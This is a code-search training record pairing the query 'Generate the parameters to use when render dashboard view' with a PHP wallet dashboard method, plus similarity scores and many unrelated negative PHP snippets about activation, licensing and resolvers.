[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Resolves and returns activate strategy.
public function resolve(ModelInformationInterface $information);
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getStrategy();", "public function activate()\n {\n $this->isActive = true;\n return $this;\n }", "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t}", "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t}", "public function activate()\n {\n $this->fireModelEvent('activating');\n\n $this->active = true;\n $result = $this->save();\n\n $this->fireModelEvent('activated');\n\n return $result;\n }", "public function activate($entity)\n\t{\n\t\treturn $this->perform('activate', $entity, ['active' => 1], false);\n\t}", "public function activate(){\n\t\treturn $this->_sendPacketToController(self::ACTIVATE);\n\t}", "public function activate()\r\n\t{\r\n\t\treturn $this->_changeStatus(1);\r\n\t}", "public function activate() {\n\n }", "public function activate() {\n\n }", "public function activate() {\n\n }", "public static function activate() {\n\n }", "public function activate() {\n\t\t// TODO define activation functionality here\n\t}", "public function activate($id)\n {\n // Get the resource\n $object = $this->find($id);\n\n // Make sure we can activate\n if (! $object->isActivationAllowed()) {\n $this->throwException($this->error('activation_not_allowed'));\n }\n\n // Fire before listeners\n $this->eventUntil('activating', [$object]);\n\n // Activate the resource\n $object->active = 1;\n $object->activated_at = Carbon::now();\n\n // Validate the resource\n if ($object->isInvalid('activating') || ! $object->save()) {\n $this->throwException($object->getErrors(), $this->error('activate'));\n }\n\n // Fire after listeners\n $this->eventFire('activated', [$object]);\n\n return $object;\n }", "public function activate() {\n\t\t\n\t}", "public function activate();", "public function activate();", "public static function activate()\n {\n }", "public function activate() {\r\n \r\n $statement = ConnectionModel::getConnection()->query('Select * From user where id = :id and confirmToken = :confirmToken',\r\n ['id' => $this->_id,\r\n 'confirmToken' => $this->_confirmToken]);\r\n \r\n if($statement) {\r\n \r\n $activate = ConnectionModel::getConnection()->query('Update user set isConfirmed = 1 where id = :id', \r\n ['id' => $this->_id]);\r\n \r\n if($activate) {\r\n \r\n $user = ConnectionModel::getConnection()->query('Select * From user where id = :id', \r\n ['id' => $this->_id]);\r\n \r\n $result = new UserModel('','');\r\n $result->hydrate($user[0]);\r\n \r\n return $result;\r\n \r\n }\r\n \r\n }\r\n \r\n return false;\r\n \r\n}", "protected function activateSelf() {}", "public function activate()\n {\n $uri = \"/api/v1/groups/rules/{$this->getId()}/lifecycle/activate\";\n $uri = $this->getDataStore()->buildUri(\n $this->getDataStore()->getOrganizationUrl() . $uri\n );\n return $this\n ->getDataStore()\n ->executeRequest('POST', $uri);\n }", "public function getActiveFactory()\n {\n return $this->getFactory($this->getActiveFactoryName());\n }", "public function getStrategy()\n {\n return $this->strategy;\n }", "public static function activate(){\n }", "protected function getConsole_Command_User_ActivateService()\n {\n return $this->services['console.command.user.activate'] = new \\phpbb\\console\\command\\user\\activate(${($_ = isset($this->services['user']) ? $this->services['user'] : $this->getUserService()) && false ?: '_'}, ${($_ = isset($this->services['dbal.conn']) ? $this->services['dbal.conn'] : ($this->services['dbal.conn'] = new \\phpbb\\db\\driver\\factory($this))) && false ?: '_'}, ${($_ = isset($this->services['config']) ? $this->services['config'] : $this->getConfigService()) && false ?: '_'}, ${($_ = isset($this->services['language']) ? $this->services['language'] : $this->getLanguageService()) && false ?: '_'}, ${($_ = isset($this->services['log']) ? $this->services['log'] : $this->getLogService()) && false ?: '_'}, ${($_ = isset($this->services['notification_manager']) ? $this->services['notification_manager'] : $this->getNotificationManagerService()) && false ?: '_'}, ${($_ = isset($this->services['user_loader']) ? $this->services['user_loader'] : $this->getUserLoaderService()) && false ?: '_'}, './../', 'php');\n }", "public function activate() {\n\t\t\t// just in case I want to do anything on activate\n\t\t}", "abstract public function resolve();", "public function strategy();", "public function getStrategy()\n {\n if (is_null($this->_strategy) === true) {\n $this->_strategy = new Introspection();\n }\n\n return $this->_strategy;\n }", "public function activate($locator){\n\t\t$activationkey = $this->request->get('id');\n\t\t\n\t\t$model = $this->_load('app')->model('users');\n\t\t$model->activate($activationkey);\n\t\t\n\t\t$this->response->setPartial('maincontent', 'user/activate', array('errmsg' => $model->getErrorMsg(' ')));\n\t\t\n\t}", "public function activatePayment()\n {\n $this->payment = new Payment();\n return $this;\n }", "public function resolve() {}", "protected abstract function resolveService();", "static function activate() {\n\t}", "public function resolve();", "public function resolve();", "public function userActivation()\n {\n return $this->hasOne(UserActivation::class);\n }", "abstract function activation();", "public function activate() {\n global $wp_roles;\n\n if ( class_exists( 'WP_Roles' ) && ! isset( $wp_roles ) ) {\n // @codingStandardsIgnoreLine\n $wp_roles = new \\WP_Roles();\n }\n\n $all_cap = array(\n 'dokan_view_booking_menu',\n 'dokan_add_booking_product',\n 'dokan_edit_booking_product',\n 'dokan_delete_booking_product',\n 'dokan_manage_booking_products',\n 'dokan_manage_booking_calendar',\n 'dokan_manage_bookings',\n 'dokan_manage_booking_resource',\n );\n\n foreach ( $all_cap as $key => $cap ) {\n $wp_roles->add_cap( 'seller', $cap );\n $wp_roles->add_cap( 'administrator', $cap );\n $wp_roles->add_cap( 'shop_manager', $cap );\n }\n\n // flush rewrite rules after plugin is activate\n $this->flush_rewrite_rules();\n }", "public function activate() {\n\n\t\t$this->registration_handler->register();\n\t\t\n\t}", "public function activateAction()\r\n {\r\n\t\tUser::activate($this->route_params['token']);\r\n\t\t\r\n\t\t$this->user = Auth::getUser();\r\n\r\n $this->redirect('/signup/activated');\r\n }", "public function activate() {\n $activator = new JWP\\JPE\\Activator();\n $activator->run();\n }", "public function activate($username);", "protected function getResolver()\n {\n return function () {\n $resolutionArguments = func_get_args();\n\n // Check authentication first\n if (call_user_func_array([$this, 'authenticated'], $resolutionArguments) !== true) {\n throw new AuthorizationError('Unauthenticated');\n }\n\n // After authentication, check specific authorization\n if (call_user_func_array([$this, 'authorize'], $resolutionArguments) !== true) {\n throw new AuthorizationError('Unauthorized');\n }\n\n call_user_func_array([$this, 'validate'], $resolutionArguments);\n\n\n return call_user_func_array([$this, 'resolve'], $resolutionArguments);\n };\n }", "public function activate()\n {\n $license = Licenses::find($this->key);\n $license->school_id = $this->auth_school_id;\n $license->activated_at = Carbon::now();\n $license->used=LICENCE_KEY_USED;\n if($license->save()){\n return $this->duration($license->duration);\n }\n return FALSE;\n }", "public function provides()\n {\n return ['command.tunneler.activate'];\n }", "public function register_activation();", "public function registerAndActivateUserRequest()\n {\n $this->registerUserRequest();\n\n return $this->get('/api/v2/user/activate/' . User::first()->activation_key);\n }", "public function getRequestedActivation()\n {\n return $this->requested_activation;\n }", "public function activate()\n {\n $this->_saveDraft(false);\n return $this;\n }", "public function make($strategy);", "function activate() {\n }", "public function signupActivate($token)\n {\n $user = User::where('activation_token', $token)->first();\n\n if (!$user) {\n return response()->json([\n 'message' => __('auth.token_invalid')\n ], 404);\n }\n\n $user->active = true;\n $user->activation_token = '';\n $user->save();\n\n //$user->notify(new SignupActivated($user));\n\n return $user;\n }", "private function is_automatic_activate( &$dependency ) {\n\t\t $is_required = $this->is_required( $dependency );\n\t\t return ! $is_required || ( $is_required && ! self::$automatic_activate_required );\n\t}", "public function activateAction()\n {\n $process = User::activate($this->route_params['token']);\n\n if($process){\n Flash::addMessage('Account activated successfully','success');\n $this->redirect('/Login/index');\n }else{\n Flash::addMessage('Oops! Can\\'t activate your account. Activation link is too old or wrong.','danger');\n $this->redirect('/register/activation');\n }\n\n\n }", "public function getActivate($code){\n\t\t\n\t\t//find the user where activate_code is same and active is false\n\t\t$user =\tUser::where('activate_code','=',$code);\n\n\t\t//If user found\n\t\tif($user->count()){\n\t\t\t\n\t\t\t//get user data\n\t\t\t$user=$user->first();\n\t\t\t\n\t\t\t//update user active state\n\t\t\t$user->active\t\t\t=\t1;\n\t\t\t$user->activate_code\t=\t'';\n\n\t\t\t//save to db\n\t\t\tif($user->save()){\n\t\t\t\t//redirect to login page with success msg\n\t\t\t\treturn Redirect::route('account-login')->with('account-active-msg','<div class=\"alert alert-info\" role=\"alert\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-info-sign\" aria-hidden=\"true\"></span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tAccount has been activated. <br/>You can login now.\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>');\n\t\t\t}\n\t\t}\n\n\t\t//redirect to login page with alternative success msg\n\t\treturn Redirect::route('account-login')->with('account-active-msg','<div class=\"alert alert-info\" role=\"alert\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"glyphicon glyphicon-info-sign\" aria-hidden=\"true\"></span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tYour account already activated. <br/>You can login now.\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>');\n\t}", "public function activate(Request $request){\n $token = $request->get(\"token\", '');\n\n if ($token==\"default\") {\n $content['error'] = \"Please activate your account\";\n }\n elseif (!$this->activationTokenModel->activate($token)) {\n if ($this->activationTokenModel->hasError()) {\n $content['error'] = $this->activationTokenModel->errorToString();\n } else {\n $content['error'] = \"An unknown error prevented us from continue\";\n }\n } else {\n $acc = new AccountModel();\n $acc->redirectToLobby();\n }\n return $this->render($request, $content);\n }", "public function activate() : bool\n {\n if ($this->isActive()) {\n return true;\n }\n return $this->start();\n }", "public function active() {\n return $this->hasOne('App\\Models\\Active');\n }", "public function activate(Request $request)\n {\n $token = $request->get('q');\n $userId = $request->get('u');\n\n $user = User::findOrFail($userId);\n\n if (! $user->activation()->first()->token === $token) {\n throw new NotFoundHttpException(\"Activation code not found\");\n }\n\n $user->activate();\n $request->session()->flash('activated', '');\n\n return view('auth.login');\n }", "abstract function resolve($class);", "public static function activate($activate_token)\n\t{\n\t\t$token = new static(compact('activate_token'));\n\n\t\t$token->raise(new MemberWasActivated($token));\n\n\t\treturn $token;\n\t}", "public function activate()\n {\n $response = $this->response();\n /* le hash de l'email */\n $emailHash = $this->uri->segment(3);\n /* le log d'activation */\n $logID = $this->uri->segment(4);\n if ($this->oauth_web->activate($emailHash, $logID)) {\n redirect();\n // $response[\"status\"] = true;\n }\n // $this->output->set_output(json_encode($response));\n }", "public function activateUser($token)\n {\n $activation = $this->activationRepo->getActivationByToken($token);\n\n if ($activation === null) {\n return null;\n }\n\n $user = User::find($activation->user_id);\n\n $user->activated = true;\n\n $user->save();\n\n $this->activationRepo->deleteActivation($token);\n\n return $user;\n\n }", "protected function performActivate($entity, array $attributes)\n\t{\n\t\treturn $this->perform('update', $entity, $attributes, false);\n\t}", "public function getActivateOn()\n {\n return $this->activate_on;\n }", "public function activateUser($request)\r\n {\r\n /*\r\n * When registration has done you must activate your account to log in.\r\n * (Application will show you message \"You must confirm account\")\r\n */\r\n\r\n\r\n /*\r\n * In database we want to set field IsActivated to '1'\r\n */\r\n $params = [\r\n 'IsActivated' => '1'\r\n ];\r\n\r\n /*\r\n * Update row in user table where Activativon ==$request['activation']<---\r\n */\r\n $this->primary = 'Activation';\r\n $this->update($request['activation'], $params);\r\n\r\n }", "public function getActive()\n {\n return $this->get(self::_ACTIVE);\n }", "function activate() {\r\r\n }", "public static function activate()\n\t\t{\n\t\t\t// Do nothing\n\t\t}", "public static function activate()\n\t\t{\n\t\t\t// Do nothing\n\t\t}", "public static function activate ()\n\t{\n\t\t// Create or update options\n\t\tself::generate_options ();\n\t}", "public function signupActivate($token)\n {\n $user = User::where('activation_token', $token)->first();\n\n if (!$user) {\n $msg = __('auth.token_invalid');\n return ApiResponse::errorResponse('UNAUTHORIZED_ERROR', $msg, []);\n //return $this->errorResponse($msg,[]);\n //return response()->json([\n // 'message' => __('auth.token_invalid')\n //], 404);\n }\n\n $user->active = true;\n $user->activation_token = '';\n $user->save();\n\n $user->notify(new SignupActivated($user));\n $msg = __('auth.active_success');\n return ApiResponse::successResponse('SUCCESS', $msg, []);\n //return $this->successResponse($msg,$user);\n //return $user;\n }", "public function getActivate($code){\n $user = Admin::where('activate_code', '=', $code)->where('active', '=', 0);\n\t\tif ($user->count()){\n\t\t\t$user = $user->first();\n\n\t\t\t$user->active = 1;\n\t\t\t$user->activate_code = '';\n\t\t\t\n\t\t\tif ($user->save()){\n\t\t\t return Redirect::secure('9gag-admin/login')->with('global', 'Congrats! We have activated your account');\n }\n \n }\n \n return Redirect::secure('/9gag-admin/login')\n ->with('global', 'we could not activate your account, \n try again late!');\n \n die();\n }", "public static function activate() {\n\t\t\t// Do nothing\n\t\t}", "public function activate() {\n\n\t\t// Get License\n\t\t$license = $this->get_license();\n\n\t\ttry {\n\n\t\t\t// Check License key\n\t\t\tif ( '' === $license->get_key() ) {\n\t\t\t\tthrow new Exception( 'Please enter your license key.' );\n\t\t\t}\n\n\t\t\t// Check license email\n\t\t\tif ( '' === $license->get_email() ) {\n\t\t\t\tthrow new Exception( 'Please enter the email address associated with your license.' );\n\t\t\t}\n\n\t\t\t// Do activate request\n\t\t\t$request = wp_remote_get( self::STORE_URL . self::ENDPOINT_ACTIVATION . '&' . http_build_query( array(\n\t\t\t\t\t'email' => $license->get_email(),\n\t\t\t\t\t'licence_key' => $license->get_key(),\n\t\t\t\t\t'api_product_id' => $this->product_id,\n\t\t\t\t\t'request' => 'activate',\n\t\t\t\t\t'instance' => site_url()\n\t\t\t\t), '', '&' ) );\n\n\t\t\t// Check request\n\t\t\tif ( is_wp_error( $request ) || wp_remote_retrieve_response_code( $request ) != 200 ) {\n\t\t\t\tthrow new Exception( 'Connection failed to the License Key API server. Try again later.' );\n\t\t\t}\n\n\t\t\t// Get activation result\n\t\t\t$activate_results = json_decode( wp_remote_retrieve_body( $request ), true );\n\n\t\t\t// Check if response is correct\n\t\t\tif ( ! empty( $activate_results['activated'] ) ) {\n\n\t\t\t\t// Set local activation status to true\n\t\t\t\t$license->set_status( 'active' );\n\t\t\t\t$this->set_license( $license );\n\n\t\t\t\t// Return Message\n\t\t\t\treturn array(\n\t\t\t\t\t'result' => 'success',\n\t\t\t\t\t'message' => __( 'License successfully activated.', 'download-monitor' )\n\t\t\t\t);\n\n\t\t\t} elseif ( $activate_results === false ) {\n\t\t\t\tthrow new Exception( 'Connection failed to the License Key API server. Try again later.' );\n\t\t\t} elseif ( isset( $activate_results['error_code'] ) ) {\n\t\t\t\tthrow new Exception( $activate_results['error'] );\n\t\t\t}\n\n\n\t\t} catch ( Exception $e ) {\n\n\t\t\t// Set local activation status to false\n\t\t\t$license->set_status( 'inactivate' );\n\t\t\t$this->set_license( $license );\n\n\t\t\t// Return error message\n\t\t\treturn array( 'result' => 'failed', 'message' => $e->getMessage() );\n\t\t}\n\t}", "public function active(): Factory\n {\n return $this->state(fn () => [\n 'disabled_at' => null,\n ]);\n }", "static public function activated()\n {\n return self::$active;\n }", "protected function gate(): Gate\n {\n if (! isset($this->gate)) {\n $this->gate = app(Gate::class);\n }\n\n return $this->gate;\n }", "public function getActivateTpl(){\n return $this->templates['activate'];\n }", "public function activate(): bool\n {\n $this->{$this->getDeactivatedAtColumn()} = null;\n return $this->save();\n }", "abstract public function activate( $network_wide );", "protected function resolve($name)\n\t{\n\t\t$config = $this->getConfig($name);\n\n\t\tif (isset($this->customCreators[$config['driver']]))\n\t\t{\n\t\t\treturn $this->callCustomCreator($config);\n\t\t}\n\n\t\treturn $this->{\"create\".ucfirst($config['driver']).\"Driver\"}($config);\n\t}", "public function getStrategy($name)\n {\n if (isset($this->strategies[$name])) {\n return $this->strategies[$name];\n }\n\n if (!isset($this->strategies['*'])) {\n throw new Exception\\InvalidArgumentException(sprintf(\n '%s: no strategy by name of \"%s\", and no wildcard strategy present',\n __METHOD__,\n $name\n ));\n }\n\n return $this->strategies['*'];\n }", "public function getActivationToken(): Token\n {\n return $this->tokens()->where('type', Token::TYPE_ACTIVATION)->first();\n }", "public function activatePlugin();", "public function activate(){\n # Enable Single Sign-On\n if(in_array(\"login\", $this->features, TRUE)){\n $this->enable_sso();\n }\n }", "static public function tryToActivateAccount() {\r\n\t\tDB::getInstance()->stopAddingAccountID();\r\n\t\t$Account = DB::getInstance()->query('SELECT id FROM `'.PREFIX.'account` WHERE `activation_hash`='.DB::getInstance()->escape($_GET['activate']).' LIMIT 1')->fetch();\r\n\t\tDB::getInstance()->startAddingAccountID();\r\n\r\n\t\tif ($Account) {\r\n\t\t\tDB::getInstance()->update('account', $Account['id'], 'activation_hash', '');\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\t}", "public static function onActivate()\n {\n $oConfig = \\OxidEsales\\Eshop\\Core\\Registry::getConfig();\n $sOxId = $oConfig->getShopId();\n\n // Set default values to settings\n $oConfig->saveShopConfVar('str', 'sCONNSTATUS', '0', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sAPIKEY', '', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSERVICEURL', 'https://endereco-service.de/rpc/v1', $sOxId, 'module:enderecoclientox');\n\n $oConfig->saveShopConfVar('str', 'bSTATUSINDICATOR', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bPOSTCODEAUTOCOMPLETE', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bCITYNAMEAUTOCOMPLETE', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bSTREETAUTOCOMPLETE', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bEMAILCHECK', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bNAMECHECK', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bPREPHONECHECK', '1', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sPHONEFORMAT', '8', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'bADDRESSCHECK', '1', $sOxId, 'module:enderecoclientox');\n\n $oConfig->saveShopConfVar('str', 'sPRIMARYCOLOR', '#009EC0', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sPRIMARYCOLORHOVER', '#0089a7', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sPRIMARYCOLORTEXT', '#ffffff', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSECONDARYCOLOR', '#FC6621', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSECONDARYCOLORHOVER', '#FC6621', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSECONDARYCOLORTEXT', '#ffffff', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sWARNINGCOLOR', '#f0ad4e', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sWARNINGCOLORHOVER', '#eea236', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sWARNINGCOLORTEXT', '#ffffff', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSUCCESSCOLOR', '#5cb85c', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSUCCESSCOLORHOVER', '#4cae4c', $sOxId, 'module:enderecoclientox');\n $oConfig->saveShopConfVar('str', 'sSUCCESSCOLORTEXT', '#ffffff', $sOxId, 'module:enderecoclientox');\n }", "public function activate($id)\n\t{\n\t\t//custom message if this methods throw an exception\n\t\t\\Session::put('errorOrigin', \" activando el estado\");\t\n\n\t\t//custom route to REDIRECT redirect('x') if there's an error\n\t\t\\Session::put('errorRoute', \"states\");\n\n\t\t\tDB::beginTransaction();//starts database transaction. If there´s no commit no transaction\n\t\t//will be made. Also, all transactions can be rollbacked.\n\t\t\t$state = $this->model->find($id);\n\t\t\tif($state==null){\n\t\t\t\tthrow new \\Exception('Error en activar el estado con el id:' .$id\n\t\t\t\t\t. \" en el método StateController@active\");\n\t\t\t} else{\n\t\t\t\t$state->active_flag = 1;\n\t\t\t\t$state->save();\n\t\t\t\tDB::commit();//commit to database\n\t\t\t\treturn redirect('states')->with('success', '¡Estado activado satisfactoriamente!');\n\t\t\t}\n\t}", "public function getActive()\n {\n if (is_null($this->active)) {\n /** @psalm-var ?bool $data */\n $data = $this->raw(self::FIELD_ACTIVE);\n if (is_null($data)) {\n return null;\n }\n $this->active = (bool) $data;\n }\n\n return $this->active;\n }", "public function plugin_activate_hook() {\r\n add_option( 'woolentor_do_activation_redirect', TRUE );\r\n add_option( 'woolentor_do_activation_library_cache', TRUE );\r\n }", "function resolveActiveTheme(Request $request);", "private function getActiveOpenEnrollment() {\n\n $openEnrollment = $this->getDoctrine()->getRepository( 'IIABMagnetBundle:OpenEnrollment' )->findOneBy( array(\n 'active' => '1' ,\n ) );\n\n if( $openEnrollment == null ) {\n return $this->redirect( $this->generateUrl( 'iiab_magnet_program_processing_view_all' ) );\n } else {\n return $openEnrollment;\n }\n }", "protected function resolve($name)\n {\n $config = $this->getConfig($name);\n \n if (isset($this->customCreators[$config['driver']]))\n {\n return $this->callCustomCreator($config);\n }\n \n return $this->{\"create\".ucfirst($config['driver']).\"Driver\"}($config);\n }", "protected function resolve($name)\n {\n $config = $this->getConfig($name);\n\n return $this->getConnector($config['driver'])->connect($config);\n }", "public function activatePlugins() {\n return $this->getScenario()->runStep(new \\Codeception\\Step\\Action('activatePlugins', func_get_args()));\n }", "public function getUserActivation($email,$code){\n\t\t$emptyModelInstance = Sentry::getUserProvider()->getEmptyUser();\n\n\t\t// Now, you have any methods available that you'd like. Retrieve a new instance, query\n\t\t// against anything. Because our User model implements the right interfaces, it plays nicely\n\t\t// with Sentry.\n\t\t$user = $emptyModelInstance->where('email', '=', $email)->first();\n\n\t\t// Continue on as you were...\n\t\ttry\n\t\t{\n\t\t // Find the user using the user id\n\t\t //$user = Sentry::findUserById(1);\n\n\t\t // Attempt to activate the user\n\t\t if ($user->attemptActivation($code))\n\t\t {\n\t\t return Redirect::to('/')\n\t\t\t\t\t->with('success','You\\' ve logged in successfully!');\n\t\t }\n\t\t else\n\t\t {\n\t\t // User activation failed\n\t\t }\n\t\t}\n\t\tcatch (Cartalyst\\Sentry\\Users\\UserNotFoundException $e)\n\t\t{\n\t\t echo 'User was not found.';\n\t\t}\n\t\tcatch (Cartalyst\\Sentry\\Users\\UserAlreadyActivatedException $e)\n\t\t{\n\t\t echo 'User is already activated.';\n\t\t}\n\t}", "public function resolve($name)\n {\n return $this->getServiceLocator()->has($name)\n ? $this->getServiceLocator()->get($name)\n : parent::resolve($name);\n }", "public function getActivated()\n\t{\n\t\treturn Cache::rememberForever('extensions', function()\n\t\t{\n\t\t\treturn Extension::where('activated', 1)->get();\n\t\t});\n\t}", "static function handle_activate()\n\t{\n\t\tself::handle_multi_site( 'activate' );\n\t}" ]
[ "0.57996446", "0.5507355", "0.5502712", "0.5502712", "0.5453776", "0.5447875", "0.5442349", "0.54031086", "0.5272194", "0.5272194", "0.5272194", "0.5242907", "0.5220252", "0.52036345", "0.5181777", "0.51642925", "0.51642925", "0.51624143", "0.51321435", "0.51195693", "0.51020354", "0.5084569", "0.5076479", "0.50759375", "0.50705975", "0.502917", "0.5009505", "0.4975596", "0.49339977", "0.489325", "0.48862392", "0.48159924", "0.47917894", "0.4784784", "0.4779772", "0.4779772", "0.47673935", "0.47505522", "0.47451445", "0.47244066", "0.47105384", "0.4700172", "0.46999544", "0.46901307", "0.4666742", "0.46598372", "0.46528214", "0.4648895", "0.46328855", "0.4631084", "0.46075857", "0.4606585", "0.4594695", "0.45942032", "0.45863312", "0.45746857", "0.45709175", "0.45555544", "0.45404872", "0.45336935", "0.4532304", "0.4531656", "0.45282245", "0.45215797", "0.44995952", "0.4485446", "0.44799846", "0.44682294", "0.4465616", "0.44636214", "0.44636214", "0.44597304", "0.44588563", "0.44473624", "0.44472256", "0.44436115", "0.4436332", "0.4431991", "0.4428163", "0.44222718", "0.44213766", "0.44154438", "0.4415066", "0.44141117", "0.4411438", "0.4410674", "0.44044653", "0.44028085", "0.4401898", "0.440106", "0.43987364", "0.43975365", "0.43925035", "0.4387204", "0.4379703", "0.4375998", "0.43717256", "0.43709022", "0.43696663", "0.43686065", "0.4359935" ]
0.0
-1
Generate the parameters to use when render dashboard view.
public function index(string $id, array $context = []): array { $operationForm = $this->form->create(CreateOperationType::class); return [ 'wallet_id' => $id, 'position' => $this->getPositionPanel($operationForm), 'operation' => $this->getOperationPanel($operationForm), 'position_dividend' => $this->getPositionDividendPanel(), ] + [ 'page_title' => 'Wallets', ] + $context; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getParamsToView();", "public static function get_parameters() {\n $r = array_merge(\n iform_map_get_map_parameters(),\n iform_report_get_minimal_report_parameters(),\n array(\n array(\n 'name' => 'downloadOwnDataOnly',\n 'caption' => 'Download own data only',\n 'description' => 'If ticked then the user is only allowed to download data when showing just their own data.',\n 'type' => 'checkbox',\n 'default' => false,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLink',\n 'caption' => 'Include edit link',\n 'description' => 'Include an edit link for each row that was input by the current user',\n 'type' => 'checkbox',\n 'default' => true,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLinkPath',\n 'caption' => 'Path to page used for edits',\n 'description' => 'The path to the page used for edits. This is just the site relative path, e.g. http://www.example.com/index.php?q=enter-records needs '.\n 'to be input as just enter-records. The path is called with the id of the record in a parameter called occurrence_id.',\n 'type' => 'text_input',\n 'default' => '',\n 'required' => false\n ),\n array(\n 'name' => 'columns_config',\n 'caption' => 'Columns Configuration',\n 'description' => 'Define a list of columns with various configuration options when you want to override the '.\n 'default output of the report.',\n 'type' => 'jsonwidget',\n 'schema' => '{\n \"type\":\"seq\",\n \"title\":\"Columns List\",\n \"sequence\":\n [\n {\n \"type\":\"map\",\n \"title\":\"Column\",\n \"mapping\": {\n \"fieldname\": {\"type\":\"str\",\"desc\":\"Name of the field to output in this column. Does not need to be specified when using the template option.\"},\n \"display\": {\"type\":\"str\",\"desc\":\"Caption of the column, which defaults to the fieldname if not specified.\"},\n \"actions\": {\n \"type\":\"seq\",\n \"title\":\"Actions List\",\n \"sequence\": [{\n \"type\":\"map\",\n \"title\":\"Actions\",\n \"desc\":\"List of actions to make available for each row in the grid.\",\n \"mapping\": {\n \"caption\": {\"type\":\"str\",\"desc\":\"Display caption for the action\\'s link.\"},\n \"visibility_field\": {\"type\":\"str\",\"desc\":\"Optional name of a field in the data which contains true or false to define the visibility of this action.\"},\n \"img\": {\"type\":\"str\",\"desc\":\"Set img to the path to an image to use an image for the action instead of a text caption - the caption '.\n 'then becomes the image\\'s title. The image path can contain {rootFolder} to be replaced by the root folder of the site, in this '.\n 'case it excludes the path parameter used in Drupal when dirty URLs are used (since this is a direct link to a URL).\"},\n \"url\": {\"type\":\"str\",\"desc\":\"A url that the action link will point to, unless overridden by JavaScript. The url can contain tokens which '.\n 'will be subsituted for field values, e.g. for http://www.example.com/image/{id} the {id} is replaced with a field called id in the current row. '.\n 'Can also use the subsitution {currentUrl} to link back to the current page, {rootFolder} to represent the folder on the server that the current PHP page is running from, and '.\n '{imageFolder} for the image upload folder\"},\n \"urlParams\": {\n \"type\":\"map\",\n \"subtype\":\"str\",\n \"desc\":\"List of parameters to append to the URL link, with field value replacements such as {id} begin replaced '.\n 'by the value of the id field for the current row.\"\n },\n \"class\": {\"type\":\"str\",\"desc\":\"CSS class to attach to the action link.\"},\n \"javascript\": {\"type\":\"str\",\"desc\":\"JavaScript that will be run when the link is clicked. Can contain field value substitutions '.\n 'such as {id} which is replaced by the value of the id field for the current row. Because the javascript may pass the field values as parameters to functions, '.\n 'there are escaped versions of each of the replacements available for the javascript action type. Add -escape-quote or '.\n '-escape-dblquote to the fieldname. For example this would be valid in the action javascript: foo(\\\"{bar-escape-dblquote}\\\"); '.\n 'even if the field value contains a double quote which would have broken the syntax.\"}\n }\n }]\n },\n \"visible\": {\"type\":\"bool\",\"desc\":\"Should this column be shown? Hidden columns can still be used in templates or actions.\"},\n \"template\": {\"type\":\"txt\",\"desc\":\"Allows you to create columns that contain dynamic content using a template, rather than just the output '.\n 